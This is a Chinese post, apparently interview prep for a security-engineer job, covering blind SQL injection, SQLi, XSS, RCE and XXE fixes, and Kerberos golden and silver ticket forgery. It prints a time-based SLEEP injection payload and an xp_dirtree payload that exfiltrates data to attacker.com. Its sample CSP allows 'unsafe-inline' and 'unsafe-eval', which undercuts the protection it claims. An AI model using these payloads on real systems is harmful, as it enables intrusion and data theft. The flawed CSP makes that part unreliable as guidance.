网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,接待关注。
目录
58同城-安全工程师
一、无回显SQL注入攻击本领及防御方案
攻击场景:当SQL注入漏洞无法通过页面回显数据,且存在1秒超时限制时,可接纳以下方法:
二、SQL注入修复:安全SDK计划指南
防御方案:
三、XSS防御进阶:富文本场景解决方案
场景:业务需支持用户输入HTML(如论坛编辑器),无法完全转义。
四、RCE防御:Java/Python场景最佳实践
五、XXE漏洞修复全策略
六、Windows域内横向移动:单子伪造攻防
攻击本领:
检测与响应:
总结:防御体系计划要点
58同城-安全工程师
- 场景题,sql注入如下
- ~select * from user where userid = {};~ response中没有返回信息,如何进行sql注入 ,1s就超时,如何进行sql注入
- 编写一个安全的SDK,sql注入的修复怎么写,预编译 白名单
- xss的修复- 实体化转义
- 业务中需要使用到html的场景,无法通过实体化转义进行防御漏洞,如何处理
- 白名单限制+黑名单过滤 html标签白名单+事件白名单
- RCE的修复(java,python) - 白名单限制+黑名单过滤
- XXE的修复
- window域内横向-票据伪造,白银票据和黄金票据
复制代码 一、无回显SQL注入攻击本领及防御方案
攻击场景:当SQL注入漏洞无法通过页面回显数据,且存在1秒超时限制时,可接纳以下方法:
- 时间盲注(Time-Based Blind SQLi)
- 原理:通过条件语句触发数据库延时操作,利用响应时间差异推断数据。
- 示例Payload(MySQL):
- ' UNION SELECT IF(SUBSTRING(database(),1,1)='a', SLEEP(2), 1)--
复制代码
- 若数据库名首字母为a,则响应延长2秒,否则立即返回。
- 绕过1秒限制:
- 使用短时间函数(如SLEEP(0.5))多次触发,通过统计总延长推断数据。
- 分阶段注入:先获取数据长度,再逐字符爆破(主动化工具如Sqlmap的--time-sec=0.5参数)。
- 带外通信(OOB-Out of Band)
- 原理:利用数据库函数发起DNS或HTTP请求外传数据。
- 示例Payload(SQL Server):
- '; DECLARE @a VARCHAR(100)=SELECT TOP 1 column_name FROM table; EXEC('master..xp_dirtree "\\'+@a+'.attacker.com\test"')--
复制代码
二、SQL注入修复:安全SDK计划指南
防御方案:
- 预编译(参数化查询)
- 代码示例(Java JDBC):
- String sql = "SELECT * FROM user WHERE userid = ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, userInput); // 自动转义特殊字符
复制代码 - 关键点:禁止拼接SQL语句,所有动态值必须参数化。
- 白名单过滤
- 场景:当参数需限定为特定格式(如数字、枚举值)时。
- 代码示例(Python):
- if not userInput.isdigit(): raise ValueError("Invalid user ID")
复制代码
- 防御层叠加
- 使用ORM框架(如Hibernate)的天然预编译特性。
- 对异常请求添加WAF规则(如拦截SLEEP、BENCHMARK等关键词)。
三、XSS防御进阶:富文本场景解决方案
场景:业务需支持用户输入HTML(如论坛编辑器),无法完全转义。
- 白名单+黑名单双重过滤
- 工具:使用DOMPurify或OWASP Java HTML Sanitizer。
- 白名单规则示例:
- { "allowedTags": ["p", "strong", "em", "a"], "allowedAttributes": {"a": ["href"]}, "allowedSchemes": {"href": ["http", "https"]} }
复制代码 - 黑名单过滤:移除on*事故、javascript:协议等。
- 沙箱隔离(CSP策略)
- HTTP头示例:
- Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
复制代码
四、RCE防御:Java/Python场景最佳实践
- Java修复方案
- 白名单下令实行:
- List<String> allowedCommands = Arrays.asList("ls", "pwd"); if (!allowedCommands.contains(userCommand)) { throw new SecurityException("Command not allowed"); } new ProcessBuilder(userCommand).start();
复制代码 - 禁用反射调用:通过SecurityManager限制Runtime.exec 。
- Python修复方案
- 安全实行函数:
- import shlex args = shlex.split(userInput) # 分割参数防止注入 subprocess.run(args, shell=False) # 禁止shell模式
复制代码
五、XXE漏洞修复全策略
- 禁用外部实体解析
- Java示例:
- DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
复制代码 - Python示例(lxml库):
- parser = etree.XMLParser(resolve_entities=False, no_network=True)
复制代码
- 输入过滤:拦截包含<!DOCTYPE或<!ENTITY的XML内容。
六、Windows域内横向移动:单子伪造攻防
攻击本领:
- 黄金单子(Golden Ticket)
- 原理:利用krbtgt账户的NTLM Hash伪造TGT(单子授予单子),可访问恣意服务。
- 防御:
- 定期重置krbtgt密码(每180天,需两次重置确保旧单子失效)。
- 启用LAPS(本地管理员密码解决方案)。
- 白银单子(Silver Ticket)
- 原理:伪造特定服务的ST(服务单子),无需域控参与。
- 防御:
- 启用服务账户的Kerberos AES加密(而非RC4)。
- 监控服务SPN异常请求(犹如一用户频繁访问多服务)。
检测与响应:
- 启用Windows事故日志审核Kerberos事故(事故ID 4768、4769)。
- 使用EDR工具检测异常单子请求(如非工作时间单子使用)。
总结:防御体系计划要点
- 分层防御:在网络层(WAF)、应用层(输入过滤)、数据层(预编译)设置多重防护。
- 最小权限原则:数据库账户仅赋予必要权限(如禁止FILE_OPTIONS)。
- 主动化检测:在CI/CD流程集成SAST/DAST工具(如Checkmarx、Burp Suite)。
- 威胁建模:针对业务场景定制安全策略(如金融系统重点防御单子伪造)。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |